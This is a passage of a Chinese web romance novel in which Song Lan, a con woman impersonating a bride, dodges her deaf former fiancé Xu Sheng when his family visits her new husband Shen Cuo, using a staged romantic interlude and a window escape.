沈园,水云居。 “啊.....阿嚏嚏!” 菘蓝对着窗户打了个喷嚏。 不知道为什么,她突然觉得后背一阵发凉,有种被人冷冷盯着的既视感。 然后,她一扭头,就看到沈错躺在床上,正单手托腮地看着她。 “啊!” 她吓了一跳。 “你....你什么时候进来的!” 这人怎么跟鬼一样,一点声音都没有,突然就出现了。 沈错托着腮,好看的瑞凤眼微微眯起,含情脉脉地看着菘蓝:“我听说你想我,所以就回来啦。” 菘蓝拧了拧眉,毫不客气地怼了回去:“谁想你了,自作多情。” 她才不想他呢,她巴不得他死在外面别回来。 “唉.....老婆你怎么对我这样。” 沈错叹了口气,把头埋在菘蓝的肩膀上哼哼唧唧。 菘蓝:“我哪样啊?” 沈错:“就是这样啊,对我说话总是夹枪带棒的。” “有吗?” “有!” 屋子里静下来了,沈错一脸幽怨地看着菘蓝,像个跑了老婆的怨夫。 菘蓝蹙着眉,细细想了想。 好像,自从知道他有心上人后,她就总是对他发脾气,看到他就烦,就讨厌,就想怼他。 不对啊,她不应该这样。 她不应该对他有情绪的...... “呆瓜,在想什么?” 沈错敲了敲菘蓝的脑袋,他觉得她皱眉发呆的模样特别可爱。 让人忍不住想要抱在怀里,狠狠蹂躏。 想着想着,他就出手,一把将菘蓝拽进了怀里。 她的身子很软,像抱了一团棉花,温温热热,软绵绵的,手感特别好。 他真的好喜欢啊。 他好喜欢这种抱着她,拥有她的感觉。 单单抱着她,他就有一种前所未有的满足感。 沈错像吸猫一样,埋在菘蓝的颈窝,露出一副餍足的样子。 “走开啊,流氓!” 菘蓝嫌弃地推了推沈错,娇俏的小脸染上一层怒意,脸颊红红的,像春天的绯樱。 狗男人,动不动就想占她便宜。 渣男!色胚!花心大萝卜! “不走开,就要贴贴抱抱。” 沈错眯着眸子,像小孩子一样撒娇耍赖。 这一幕如果让他手下那批悍将看到,估计要惊落下巴。 在R7雇佣兵团,沈错是杀伐果断,冷酷无情的人间兵器。 在菘蓝面前,他是一只卖乖耍宝,各种求摸摸求抱抱的大尾巴狼。 “你放手!” 菘蓝真的生气了,眸子凝了一层寒冰,俏脸气得绯红。 “好好好,我放手。” 沈错侧躺在床上,姿态散漫地撑着手,好整以暇地欣赏菘蓝发火的样子。 他没有强迫她的意思,只是想逗逗她。 她冲他发火时张牙舞爪的样子。 很生动。 他很喜欢。 “喜欢?你喜欢那个女骗子什么?你是喜欢她满口谎言,还是喜欢她的阴险无耻?” 城外,高速公路上。 一辆黑色的防弹车里,一对母子正在吵架。 女人四十多岁的样子,眼神如鹰隼般犀利,她正喋喋不休地教育着身旁的少年。 少年沉着脸,一把扯下头顶的耳机,不开心地背过身去。 “那女骗子有什么好?一年多了还念念不忘,我看你是被迷了心智.....” 女人又骂了两句,转头叮嘱保镖: “看好许生,等到了沈家,也别让他乱跑,一不注意他就想溜出去。” 保镖点了点头:“好的,局座。” 第四十一章 第三任前夫 水云居。 菘蓝不想跟沈错待在一起,提起小水壶去园子里浇花。 院子里的白色山茶开得正盛,层层叠叠,如云堆雪一般,风轻轻一吹,枝条此起彼伏,满园茶花香。 菘蓝的裙子是低领的,她抬手浇花的时候,微微弯着腰,胸前那抹雪白的弧度若隐若现,很是撩人。 沈错站在阳台上,他的角度又刚刚好,美好的风景一览无余。 “少爷,听说你找我?” 李顺从走廊一边过来,正要走到沈错身边。 沈错眉头一拧,站直身子微微挡了一下,然后喊住他:“你别过来,就站在那里。” 李顺很听话地停住了脚步,然后问道:“少爷你找我啥事?” 沈错偷瞄了楼下的菘蓝一眼,然后咳嗽了两声:“咳咳.....我就想问你个事。” 李顺:“啥事,少爷你说。” 沈错悄悄压低了声音:“你会不会追女孩子啊?” 李顺愣了愣,一脸懵逼地挠了挠头,然后垮着一张小圆脸道: “少爷,这个问题您别问我啊,我母胎单身啊!我哪会追女孩子。” 沈错抽了抽唇角:“哦,也是。” 他也是傻了,居然向一个老婆都没有的人问这种问题。 突然,李顺眼睛一亮道:“不过,少爷,我知道谁最会追女人。” 沈错:“谁?” 李顺:“短剧里的霸总!” 沈错:“........” 李顺继续道: “那短剧里的霸总可有手段了,犯了各种错,把女主虐得死去活来的,然后把女主气跑了。 女主跑了之后,霸总就开始疯狂追妻,他们最后都能把女主追回来。 少爷我觉得你可以看几部短剧,跟那些霸总学习学习。” 沈错白了李顺一眼:“我看那玩意干什么?纯脑残!看了降智!” 李顺挨了一通骂,摸着鼻子,讪讪地笑了笑:“哈哈,也是哈......” 沈错转过身去,继续看菘蓝浇花。 菘蓝一抬头,就发现沈错在看她。 两人视线相对,沈错笑吟吟地冲菘蓝招手,菘蓝当做没看见,面无表情地继续浇花。 沈错脸上的笑容倏地一下没了,烦躁地在阳台走来走去。 来回走了几十遍后,他在李顺面前站住,压低了声音道: “咳咳.....那什么短剧,给我推荐几部。” 李顺点了点头:“好的,少爷!” 与此同时。 一辆黑色的防弹车缓缓停在了沈园门口,车子的身后还跟着几辆军用吉普车。 车门打开,下来一个穿白衬衫的少年,戴着头套式耳机。 少年大概二十岁,他戴着耳机静静站在那里,风将他额前的碎发高高吹起,露出一双干净澄澈的眼。 他的内眼角微微下垂,外眼角自然上扬,瞳仁圆润,是很乖巧无辜的狗狗眼。 他右眼的上眼皮有一颗痣,淡淡的,小小的,又平添了一种清透疏离感。 少年叫许生,是云都军区许司令的儿子,他身后跟着一位中年妇人,妇人剪着利落的短发,背脊挺得笔直,走路带风。 许家和沈家是世交,但是十年前,许凯旋担任云都军区司令之后,全家便搬到了云都。 从那以后,他们基本就没有回来过。 许家母子本来也是来参加沈错的婚礼的,但路上遇到很多事情耽误了,现在才到。 沈园的门卫看到他们,欣喜地喊道: “快去告诉老爷子,许夫人和许生少爷来了!” 许夫人走了几步,许生却站在原地不动,朝许夫人比划了几下手语: 【妈,我好久没来海都了,我去外面转转。】 许生是聋哑人,只能用手语交流,他头上戴的其实不是耳机,而是助听器。 许夫人看到手语后,柳眉一横,冷喝道: “不行!你得跟我一起去,别以为我不知道你想去干什么。 你心里还是放不下那个骗子,你是不是又要去外面找她?” 听到这话,许生不开心地摘掉助听器,随手扔给身边的保镖,转身就往外走。 看到儿子的举动,许夫人瞬间瞪圆了眼睛: “哎呀!你摘助听器干嘛!快点带上,外面到处都是车,你又听不到声音,多危险啊!” 许生一生气,就会摘掉助听器,就代表谁的话他也不想听。 他朝着许夫人执拗地比划道: 【妈,我跟你说过很多次了,姐姐她不是骗子!】 许生脾气很温和,从来不跟人发火,但唯独在一件事情上是例外。 他不允许任何人诋毁他的容姐姐。 许夫人为了安抚许生的情绪,连忙朝他比划手语: 【那你先跟我去见你哥,等见完你哥,你再出去玩。】 许生是沈错的干弟弟,兄弟俩小时候感情很好,经常在一起玩。 许生一听,顿时收住了脚,比划了一个: 【好】 ** 水云居。 菘蓝浇花浇累了,坐在园子里的凉亭里喝茶。 一个佣人走到她身边道:“少夫人,少爷的干妈来了。” 听闻,菘蓝拧了拧眉。 沈错还有干妈?她怎么没听说过。 菘蓝下意识回道:“我第一次听说他还有干妈。” 佣人解释道:“少爷的干妈是许夫人,许家十年前迁居云都,很少回来。” 一听到云都和许这个姓氏,菘蓝的心猛地跳了一下。 她.....突然有种不好的预感。 菘蓝攥着茶盏,问道:“许家?是哪个许家?” 佣人:“云都许家啊,驻守边防军区的许司令。” 听到许司令三个字,菘蓝拿着茶盏的手颤了颤,好看的眸子中闪过一抹慌乱。 完蛋,真的是那个许家。 云都许家,许生..... 她第三任前夫! 第四十二章 前夫们的混乱关系 “许夫人真是你们少爷的干妈?” 菘蓝的声线有点抖。 佣人一边收拾桌子,一边道: “是啊,许夫人是少爷的干妈,许夫人跟咱们夫人是闺蜜,少爷很小的时候就认许夫人为干妈了。” 菘蓝睫毛颤了颤,暗暗攥紧了手心。 那也就是说,许生是沈错的干弟弟? 佣人:“少夫人,等会您见到许夫人,也要跟着少爷喊她干妈哦。” 菘蓝听完,狠狠咽了口唾沫。 这声干妈怕是叫不得哦。 因为一年前,她在云都代替容小姐跟许生订了婚,她喊许夫人直接喊妈..... 菘蓝沉默了很久没有说话,她脑瓜子现在嗡嗡的。 她现在需要静一静,需要冷静地梳理一下关系。 也就是说。 她第一任前夫,是现任老公的表叔。 她第二任前夫,是现任老公的发小。 她第三任前夫,是现任老公的干弟弟。 呵呵..... 有点乱啊...... 菘蓝看向桌子上的手机,唇角努力挤出一丝生涩的笑容。 如果她现在给徐念青打电话退单,还来不来得及。 她错了。 她就不应该接徐家的委托! 要是早知道沈错跟三个前夫哥有关系,徐家就算给她再多钱她也不干! 佣人看到菘蓝发呆走神,好意提醒了一句:“少夫人,您准备准备,等会跟少爷一起去见见许夫人!” 菘蓝目光一凛。 不行! 这个饭局她不能去! 她在云都的时候,没有刻意化仿妆,用的就是自己的脸。 因为她跟容小姐本来就有七分相似。 如果见了面,肯定要有大麻烦。 菘蓝抬头看了一眼天空,冬日高悬,天色像水洗过一样的澄澈。 她的脑海突然闪过许生那张干净清澈的脸,眼底飞速掠过一抹歉意。 她,也不太想面对许生。 菘蓝正想着该怎么推脱掉午宴,突然一个佣人小跑进园子,笑吟吟道: “许夫人太久没见过少爷了,她等不及了,已经带着许少爷过来了。” 突如其来的消息好似晴空霹雳,劈得菘蓝直接僵在了原地。 不是吧!这就过来了? 一点反应的时间都不给她啊! 菘蓝攥紧手心,稳了稳心神,镇定地问道:“他们到哪了?” 佣人回答道:“许夫人跟许少爷已经走到浮心桥了。” 过了浮心桥就到水云居了,她现在就算跑出去,也躲不掉,只会迎面撞上。 菘蓝想了想,吩咐几人道:“那你们先去接许夫人,我去找你们少爷。” 打发佣人去接许夫人后,菘蓝立刻往楼上跑。 她打算藏到阁楼里,先躲一时是一时。 因为跑得太急,菘蓝被裙摆绊了一下,身形打了个趔趄,担心又会绊倒,她低头拎起裙摆继续跑。 沈错正好刚洗完澡,身上缠着浴巾,一边走一边擦着湿漉漉的头发。 两人都没看路,一个低头拎裙子,一个用毛巾擦头发,一下子撞了个满怀。 菘蓝歪歪斜斜地往后倒,沈错反应很快,一手将她捞进了怀里。 沈错上身没穿衣服,菘蓝的脸直接贴到了他的胸膛上。 男人身上的水还没擦干,微微散发着热气。 雄性激素与皮脂腺分泌物产生的气味混合着薄荷香,一个劲往菘蓝鼻子里钻。 闻起来有点上瘾。 菘蓝下颌抵着结实硬朗的腹肌,微微仰着头往上看,刚好撞到一双微微挑起的瑞凤眼。 沈错眼角含着笑意道:“我的身材可还让夫人满意?” 沈错的身材很好,腹肌线条流畅,结实硬朗,腰腹处壁垒分明,腹部两条遒劲有力的青筋一路往下顺去..... 某人自夸的样子,让菘蓝忍不住想要回怼。 但她脑筋突然一转,仰起沾着水痕的小脸,笑着回道: “是啊,喜欢啊。” 她说完,还轻轻咬了一下唇角: “不是早就说过,你也就这一身皮囊还可以看。” 菘蓝微微歪着头,长发滑到耳侧,睫羽轻轻扇动,眨啊眨的,不经意流露出几分媚意。 沈错目光暗了暗。 “喜欢那就多摸摸,我不收钱。” 说着,他抓起菘蓝的手,往自己腹肌上按,炫耀道:“怎么样,结实吧?” 菘蓝微微垂眸。 别说,手感还挺好。 脂玉般温润的皮肤裹着一块块的肌肉,能明显感觉到肌肉之间还有缝隙。 肌肉一开始摸起来是软的,后面是硬的,是很有层次感。 菘蓝好奇地摸了一会,柔软的指尖不轻不重,不紧不慢地在腹肌上摩挲。 像是微风拂过春水,弄得沈错痒痒的。 他一把捉住身上作乱的小手,呼吸微乱道: “老婆,你再摸下去,我可就不知道会发生什么了哦?” 他的声音有点蛊,看向菘蓝的眼睛,带着沉醉的欲。 看着男人发黯的双眼,菘蓝在心底冷笑了两声。 这人,真是一钓就上钩。 “啊?会发生什么?你还能吃了我?” 菘蓝假装不懂,拖着长长的尾音,语气轻轻柔柔,却听得沈错心里酥酥麻麻。 “反正只要我不同意,你就不能对我做什么。” 菘蓝轻咬着唇,指尖在沈错胸前暧昧地画着圈圈,她眼神狡黠,语气十分调皮。 她打明牌了,她故意的。 她故意撩人,然后撩完就跑。 眼看火候差不多了,菘蓝拍了拍沈错的胸膛,笑道: “嗯,腹肌还不错,但是也就这样,拜拜~” 说完,菘蓝转身就跑。 她像一尾调皮的小鱼,搅得人心湖荡漾,让人又爱又恨。 沈错气笑了,呲着唇角,狠狠点了一下头。 好,这么喜欢玩? 他转身一个跨步追上菘蓝,一把从后面抱住菘蓝,在她的耳畔狠狠道: “撩完就跑,门都没有。” 他怎么也得收点利息。 沈错一手按住菘蓝的腰,一手扣住她的后脑勺,冲着她嫣红的小嘴,狠狠吻了下去。 “唔......” 菘蓝是故意招惹沈错的,她只是浅浅地,象征性地抵抗了两下,便任由沈错抱着亲吻。 唇齿相碰,气息交缠,两人纠缠的样子像极了热恋中的情人。 菘蓝被亲得微喘连连,双眸迷离。 她看似已经沉醉在欲海中,其实心底一直暗暗计算着时间。 第四十三章 差点玩脱了 按照这个时间点,许夫人应该已经走过了浮心桥,几分钟就会抵达水云居。 长辈撞见小两口耳鬓厮磨的场面,肯定会选择回避。 菘蓝抬眸,看着沈错微动的喉结,眸光微闪。 豁出去了! 她得把火烧得更旺一点。 察觉到菘蓝没怎么反抗,沈错吻得更加放肆,噙着她的唇瓣疯狂辗转。 “嗯......” 菘蓝浅浅嗯了一声,轻柔的鼻音带着说不出的娇媚,入耳钻心。 她脸色绯红,眸子凝成一层水光,微微喘着气,柔弱无骨般瘫软在沈错的怀里。 她的手轻轻挂在沈错脖颈上,两人之间贴得更近了,近得能感受到心脏的跃动。 这个举动像无声的邀约,沈错黯沉的眸子微微一动,滋生出炽热的狂喜。 他手臂一用力,直接托起菘蓝的臀部,将她摁在墙上抵死缠绵。 菘蓝后背抵着墙,修长的脖颈向后弯出一个优雅的弧度,她紧紧攥着泛白的指尖,手腕绷得笔直。 火越烧越燃,身体也越来越热。 心底的躁意让沈错忍不住想要更多,他拉开菘蓝后背的拉链,颤抖着吻上她洁白浑圆的肩头。 细细密密的吻落了上去,像蚂蚁一样撕咬着皮肉,酥酥麻麻。 喘息间,菘蓝有些焦急地看向门外。 这搅场的人怎么还不来? 按照时间,许夫人早就应该到了才对。 耳畔的呼吸越来越炽热,沈错的探索欲也越来越旺盛,他的手不停游移,慢慢往下往下...... 菘蓝突然有点怕了。 许夫人要是再不来,她怕是要玩火烧身了! 菘蓝扭动着身体,开始阻挠某人肆无忌惮的探索。 “嗯......别.......” 她声音沙哑,微微带着一丝情动的哭腔,像是求饶又像是欲拒还迎。 沈错低头轻轻咬住菘蓝小巧的耳垂,坏笑道:“别什么?” 他可不是坐怀不乱的柳下惠。 都到了这个时候,谁还能忍得了? “夫人,咱们今天把新婚夜没做的事情做了吧.....” 沈错弯着唇角,声音轻哑,抓起菘蓝的手,让她感受他的身体有多么滚烫。 不等菘蓝回答,他便揽着她的腰,欺身覆了上去。 意识到沈错要来真的,菘蓝呼吸一窒,彻底慌了。 她用手抵住沈错,喉咙传出一阵破碎的低吟:“不要!” 慌乱间,菘蓝从小楼的窗户远远看到几个人影。 几个佣人簇拥着许夫人和许生朝水云居走了过来。 菘蓝垂着眉眼,掩住眸中的窃喜。 她双手主动攀附沈错的脖颈,贴着他的耳朵,媚态十足地喊道: “不、要、停.....” 这三个字宛如一道强击,一下子撞进了沈错的胸口。 他再也按捺不住心中的躁意,双手掐住菘蓝的细腰,烈火一般覆了上去。 就在这时,门突然被打开。 许夫人一眼就看到了在二楼走廊上缠绵的小两口。 她老脸一红,连忙别开眼睛,连忙转身拦住了正要进门的许生: “别进来!别进来!出去!出去!” 佣人们看到眼前火辣的一幕,第一反应不是尴尬,还是觉得自己完蛋了。 与此同时,沈错也看到了楼下闯进来的众人。 他来不及生气,用身体挡住菘蓝光洁的背脊,用杀人的目光狠狠看向呆愣的佣人。 佣人们反应过来,连忙把门关上,迅速退了出去。 许生跟在后面,还不知道出了情况,他只浅浅往屋里看了一眼,就被轰了出来。 只是隐约中,他看到一道窈窕的身影。 那身影,让他莫名觉得有点熟悉。 楼上,菘蓝缩在沈错怀里,尴尬地垂着头,耳尖因为羞愤瞬间绯红。 她气得眼角带泪,狠狠给了沈错一拳:“都怪你!” 被搅合了好事,沈错心里很不爽,恼火的很。 怎么没人告诉他,他干妈来了。 但是看到红了眼圈的菘蓝,他心里的气一下子又没了。 他连忙给送蓝披上外套,哄劝道:“好好好,怪我怪我。” 说完,他又舔了舔唇,意犹未尽地问了一句:“那.....你....要不要继续?” 菘蓝:? 她吃惊地瞪大了眼睛。 不是! 这什么人啊! 菘蓝抄起抱枕狠狠砸向沈错,红着眼圈道: “继续你个大头鬼啊!丢死人了!” 沈错连连道歉,语气有些无措道:“对不起,我也不知道我干妈会过来,你别生气。” “都怪你!都怪你!都怪你!” 菘蓝耍起了大小姐脾气,挥着拳头蛮不讲理地一通乱砸。 她下手力道很重,多少有点公报私仇的意味。 被占了那么多便宜,不打沈错一顿,她不解气。 沈错被锤了几拳后,捉住菘蓝的小手,圈住她道: “好了,好了,你等会再发脾气,干妈他们还没走,你要不要整理一下衣服,跟我一起见他们?” 菘蓝心头一颤。 她去见个鬼啊! 菘蓝抬起水汪汪的眸子,指了指被亲得发肿的唇瓣,还有肩膀和脖颈处细细密密的吻痕。 “你觉得,我这个样子,合适见长辈吗?” 她哑着嗓子,声音委委屈屈。 沈错看着菘蓝水润红肿的唇瓣,酡红的小脸,迷离的双眸,以及脖颈密密麻麻的吻痕,轻微滚了滚喉咙。 要命,她这幅模样确实不能让人看见。 要是让别人看见,他得发狂。 沈错揉了揉眉心: “好好好,那你先回屋,我去见他们。 反正我干妈一时半会也不会回去,你们以后还有机会见面。” 菘蓝一听,嘴角扯出一抹生硬的笑容。 啊?许夫人也要在沈园住一段时间? 沈错觉得菘蓝发呆的样子很可爱,忍不住捏了捏她的小脸,笑道: “你先回房间吧,我去见他们。” 菘蓝意识到许夫人还在门外,连忙拎起裙摆,像阵风一样飘进了卧室。 看着某人仓皇而逃的背影,沈错忍不住勾了勾唇。 他的小新娘啊,有时候脸皮厚,有时候脸皮又挺薄。 菘蓝上楼后,沈错理了理衣服,让人把门打开,将许夫人迎了进来。 沈错冲着许夫人赔笑:“抱歉啊干妈,我不知道你从云都过来了。” 许夫人没好气地白了他一眼,然后看向他身后,问道: “咦?我儿媳妇呢?” 第四十四章 撞到了前夫弟 一提到菘蓝,沈错的眼神就变得很柔软,他笑着道: “您儿媳妇脸皮薄,害羞了,现在不好意思见你,让她缓一缓。” 许夫人一听,很爽利地挥了挥手:“没事,我怎么样都行,只要你们小两口感情好就行。” 说完,许夫人用慈爱的目光打量着沈错,感慨道: “一晃好多年不见了,阿错都长这么大了。” 沈夫人去世的早,沈错只在许夫人身上感受过一些母爱。 所以,他对许夫人很是敬重。 沈错亲手给许夫人奉了一盏茶:“谢谢干妈一直记挂着我。” 许夫人欣赏地点了点头,抱着一丝歉意道: “可惜我们路上有事耽搁了,没能赶上你的婚礼,你和儿媳妇可不能见怪哦。” 沈错笑道:“没事的干妈,我们都不介意的,你儿媳妇人很好。” 看到沈错性情随和,身上少了戾气,变得成熟和稳重,许夫人心底很是慰藉。 她欣慰地喝了一口茶:“你和徐小姐感情好像很不错。” 沈错笑眯眯地点了点头:“嗯,我们感情是很不错。” 就是不怎么稳定,某人总对他忽冷忽热的。 楼上。 走廊的某处死角。 菘蓝猫着腰,隔着楼梯的缝隙,偷偷往下看。 许夫人热络地跟沈错聊天,许生则是不声不响地坐在旁边,他那双没有情绪起伏的眼睛格外清透,看上去单纯又无辜。 许夫人看了眼发呆的许生,冲着沈错叹了口气: “唉,阿错,你可比你弟弟强多了,我看你们沈家,明年就该添丁加口了。” 听闻,沈错目光露出一丝疑惑: “弟弟去年不是也订婚了吗?你们家也是好事将近啊?” 提到这个话茬,许夫人眼底迅速窜上一抹怒意,她冷哼了一声: “快别提了,你弟弟被一个女人骗了,偏偏他还对人家念念不忘。” 一听到有八卦,沈错看向许生,唇角噙着一抹淡淡的坏笑: “嗯?是谁敢骗我弟弟?那女人是谁?你说出来,哥帮你出气。” 楼上,偷听的菘蓝手心紧紧捏了把汗。 许生眉头微微皱起,他抿着唇角,比划着手势,倔强又执拗地反驳: 【姐姐不是骗子,不要诋毁她,再说她,我就走。】 见许生极力维护,许夫人也来了脾气,大声呵斥道: “呵,她怎么不是骗子?要不是你一直阻拦我,我早就派人把她抓起来,让她牢底坐穿了! 她最好别再让我碰见,否则我一定把她送进去!” 许生很害怕许夫人找菘蓝麻烦,他飞快地比划着手势: 【不,不能,她对我很好,跟她在一起开心。】 看到儿子这么维护一个女人,许夫人顿时气不打一处来: “你个笨蛋!她都把你骗得那么惨了!你还帮她!” 楼下,许家母子吵得不可开交。 一个用嘴巴吵架,一个用手吵架。 但是哑巴肯定吵不过正常人,许夫人的气势和音量就占了上风。 菘蓝偷偷往楼下看了一眼,她看到许生红着耳朵,执拗又倔强地一遍遍比划着手势。 少年不会说话,一向澄澈平静的眸子燃着怒火,他只能通过简单无声的手势表达心底的愤怒。 但不管他的手势如何变换,旁人也无法感受到他愤怒的情绪。 菘蓝静静看着许生,鼻头微微泛酸。 那个小哑巴啊,还是那么维护她。 许生似乎感应到了什么,突然抬头往楼上看去。 菘蓝猛地低下头,一颗心差点跳出来。 好在她选的位置是个死角,她能清楚看到楼下的场景,楼下的人看不到她。 许生没看到人,便收回目光,继续跟许夫人吵架。 许夫人声音洪亮,气势十足,许生笨拙的手势半点说服力都没有。 沈错蹙了蹙眉,像护着弟弟的大哥哥一样,挡在了许生的身前。 他看向许夫人道:“干妈,您消消气,没必要为过去的事情伤肝动火。” 随后,他让保镖带许生去外面转转,自己继续陪许夫人聊天。 沈错:“干妈,你们好不容易回来一趟,就在沈园多住一段时间,我也可以好好陪陪您。” 看到沈错这么恭顺,许夫人心里畅快了不少。 她脸色缓和了很多,笑道: “我呀,这次回海都,还要联系一下你干爸的旧部,可能要待个十天半个月呢。” 菘蓝听到许夫人要在沈园住半个月,顿时有点头疼。 许夫人是沈错的干妈,她不可能天天躲着不见她。 不行,她得想个办法。 思前想后,菘蓝拿出手机,给徐念青发了个短信。 “爸,你最近身体还好吗?” 徐念青收到菘蓝的短信,立刻回复道:“很好啊,不用担心我。” 菘蓝眸光闪了闪,又回了一条短信:“不,你身体不好,我要回家看看您。” 徐念青看到回信,立马会意,回复道: “你什么时候回,我安排人去接你。” 菘蓝扣了两个字:“现在。” ** 一个小时后。 沈错送走了许夫人,等他上楼找菘蓝的时候,却发现房间里空无一人。 房间的窗户大开着,窗帘被风吹得左右摇摆,沈错顺着窗户往下一看,看到楼下架了一个梯子。 沈错拧了拧眉,抬眸看向门口的佣人: “怎么回事?” 佣人解释道:“少爷,少夫人的父亲病了,刚刚打了电话,少夫人很担心,便回徐家了。” 沈错:“她为什么要翻窗户?” 佣人笑了笑道:“嘿嘿,许夫人不是在楼下吗,少夫人不好意思见她,就翻窗户出去了。” 沈错回想起菘蓝那张绯红的小脸,无奈地笑了笑。 “那随她吧.....” 与此同时。 菘蓝提着裙摆,朝着沈园后门奔去。 徐家派人来接她了。 菘蓝推开后门,就看到旁边停着一辆黑车。 她以为是徐家的人,想也没想,拉开车门直接坐了上去。 等上了车,她才发现身边有人。 她抬眼往身边一看,顿时愣住了。 车里的许生也愕然地看着菘蓝,黑漆漆的眸子骤然放大,定格在了菘蓝的脸上。 “嗡.....” 菘蓝的脑瓜子瞬间嗡嗡作响。 完蛋! 她上错车了! 还上了前夫弟的车! 第四十五章 小蓝姐姐 车内。 菘蓝和许生四目相对。 在这一瞬间,时间仿佛被抽空,万籁俱寂。 周遭的声音仿佛隔了一层厚厚的毛玻璃,菘蓝的呼吸瞬间停滞,大脑一片空白。 许生目光凝滞,整个人像被无形的钉子钉在了原地。 他看着菘蓝,喉咙发出一声迫切的呼喊。 姐...姐? 可惜他一张口,呼喊声就变成了一串不成语调的音节。 “嗬.....嘶.....” 菘蓝眸光颤动,拽着车门的手因为紧张微微颤抖。 她微垂着眼,掩住内心的慌乱,露出一抹尴尬的笑容,带着歉意道: “啊呀....不好意思啊,我上错车了。” 说完,菘蓝飞快地拉开车门,转身下了车。 反应过来的许生目光一凛,唰地起身,像阵风一样窜下了车。 菘蓝踩着高跟鞋走得飞快,纤瘦窈窕的背影很快与夕阳融为了一体。 但两人下车的时间仅仅相差了几秒,许生很快追上了菘蓝,一把拽住了她的手腕。 天边霞光锦簇,染红了许生的眼。 他欣喜地看着菘蓝,左手中指直立,指间飞速点了一下下巴,又捏了一下耳垂。 【姐姐】 菘蓝眸光微动,她假装不懂手语,看着许生拽着她的手,凶道:“你干嘛?放开!”?? 许生愣了愣,他从菘蓝的眼神中看到了陌生和戒备。 但是他的手却没松。 菘蓝:“我不认识你,你快放开我!再不放手我就报警了!” 大街上,路人听到菘蓝喊报警,瞬间朝许生投去了异样的眼神。 许生张着嘴,神情有些无措,发红的眼眶颤了颤。 他的目光定在菘蓝的脸上,好看的双眸透出一股莫名的悲伤。 他想过很多次重逢的场景。 唯独没想过,她会装作不认识他。 越来越多的路人看向菘蓝和许生,还有几人朝他们围了过来。 菘蓝害怕这样下去会惊动沈园的人,伸手去掰许生的手腕。 结果许生的手却像铁钳一样钳着她,怎么掰都掰不开。 光线斑驳,许生红着眼眶,喉结酸涩地滚动,他执拗地拽着菘蓝,激动地比划着手语。 菘蓝眸光闪了闪,坦然地迎着许生的目光道: “对不起,我不懂你的意思,如果你需要帮助,可以去找警察。” 陌生的眼神和漠然的语气如冷水一般泼下,把许生淋成了落汤鸡。 他站在原地,张着嘴巴,期期艾艾地用手比划了两下,然后掏出手机,打了一行字: 【姐姐,认识我,别装。】 菘蓝轻呵了一声,莫名奇妙地看着许生道:“谁是你姐姐?不好意思,你认错人了。” 说完,她板着脸,毫不留情地打掉许生的手,转身离开。 许生想追上去,但是菘蓝反感厌恶的眼神又让他害怕。 他茫然无助地站在原地,目送着菘蓝渐渐远去。 天色骤暗,他失落地站在黄昏的阴影里,紧握成拳的指尖绷到发白。 菘蓝走了一段路,终于遇到了前来接她的徐家人。 车上。 菘蓝闭着眼睛,回想着许生无辜委屈的眼神,心里很不是滋味。 她指尖抵着突突直跳的太阳穴,心底一遍遍地说着对不起...... 对于许生,她一直是心有愧疚的..... 抵达徐家的时候,天色已经很晚了。 菘蓝老远就看到门口亮起了灯,屋檐悬挂的灯笼散发着柔和的暖光,徐念青背着手在门口焦急地徘徊。 这一幕,很像老父亲等待儿女归家的情景。 灯火葳蕤,菘蓝的神情一阵恍惚。 她,也有人牵挂吗? 徐念青看到菘蓝下了车,连忙迎了过去,担忧地看着她道:“你是不是遇到什么麻烦了?” 菘蓝叹了口气,“我们进去说。” ......... 到了屋里。 菘蓝把门一关,转身看向徐念青道: “徐老板,最近可能会有人要查我,需要你帮我伪造一整套的身份证明。 还有,我在国外生活多年的证明,你也要安排一下,具体细节我们要好好沟通。” 听闻,徐念青拧了拧眉,问道:“沈家怀疑你了?” 菘蓝摇了摇头:“不是沈家,是其他的人。” 短暂的交谈后,徐念青弄明白了菘蓝的处境。 他幽幽地叹了口气,有些郁闷道: “天底下怎么会有这么巧的事情?你这几个前夫怎么还凑到一起了?” 菘蓝扯了扯唇角,自嘲道: “呵呵,是啊,都能凑一起打麻将了......” 屋内沉默了几秒,徐念青想了想,看向菘蓝道: “菘蓝小姐,按照这个情况,接下来你行事确实危险。 如果你现在放弃,我可以给你一半的酬劳,我妹妹的事情,我再想别的方法调查。” 听闻,菘蓝抿了抿唇。 如果现在放弃,她过两天找个机会死遁就行了。 可是...... 她很缺钱。 看着菘蓝犹豫的样子,徐念青想了想道: “不急,你好好考虑一下,你嘱托我的事情,我现在就派人去做。” 菘蓝感激地看了徐念青一眼:“徐老板,谢谢您。” 徐念青确实是一个很好的人。 她在徐家“待嫁”的时候,徐念青真的有把她当做女儿宠爱。 如果可以,她也想帮徐念青做点事情。 沈夫人的事情是徐念青的执念,是折磨他整夜无法入睡的心病。 她太理解这种痛苦了。 ** 翌日清晨。 阳光照在窗台上,洒下一片金灿灿的影子。 菘蓝睁着朦胧的睡眼,看向枕头旁边震动不停的手机。 “嗡嗡嗡.....” 看到来电显示,她连忙拿起手机:“喂?” 电话那头是一个稚嫩焦急的声音: “小蓝姐姐!你快回来,院长爷爷又病倒了,白衣服的姐姐说他病得很重很重。” 菘蓝听闻,眼皮一跳,攥着手机,立马回道: “好,我现在回去!” 十几分钟后。 菘蓝从徐家后门离开,然后上了一辆小车。 她坐在副驾驶的位置上,双手不自觉地交叠在一起,指骨相互挤压,眉心微微颤动,有些忐忑不安。 车辆穿过闹市,速度开始加快,风猛地吹起菘蓝的发丝,露出一张精致绝美的侧颜。 刚刚擦肩而过的一辆黑车突然顿住,急转掉头。 车内,许生惊喜地看着菘蓝,心脏砰砰直跳,他急忙冲着司机打手势: 【跟上去。】 第四十六章 最后悔的事 车子穿过市区,上了高速,一路向北,驶向北方一个无名的小镇。 菘蓝坐在副驾驶,心神不安地看着窗外。 她的手机时不时发出“嗡嗡”的响声。 从早上到现在,沈错的短信一直不停地轰炸。 【老婆,醒了没?昨天回家睡得好吗?】 【岳父大人病得重不重?】 【老婆记得吃早餐,记得想我。】 沈错的短信,菘蓝一个都懒得回。 她现在心里乱得很。 沈园,水云居。 沈错对着安静如鸡的手机发呆。 时间一分一秒过去,一个回信都没有,他的心逐渐开始烦躁。 要不是徐家不欢迎沈家人,他昨天连夜就过去了。 沈错蹙着眉头,接连打了好几个视频电话。 菘蓝看着响个不停的手机,面无表情地将音量调到最低,一个都不接。 电话那头。 一直没得到回应的沈错,越来越焦躁,就在他打算不管不顾冲到徐家的时候,终于收到了回信。 菘蓝: 【安,我刚醒,爸爸感冒很严重,我多陪他两天再回家。】 “安”字像一缕凉风,瞬间吹灭了沈错心头焚烧的烈火。 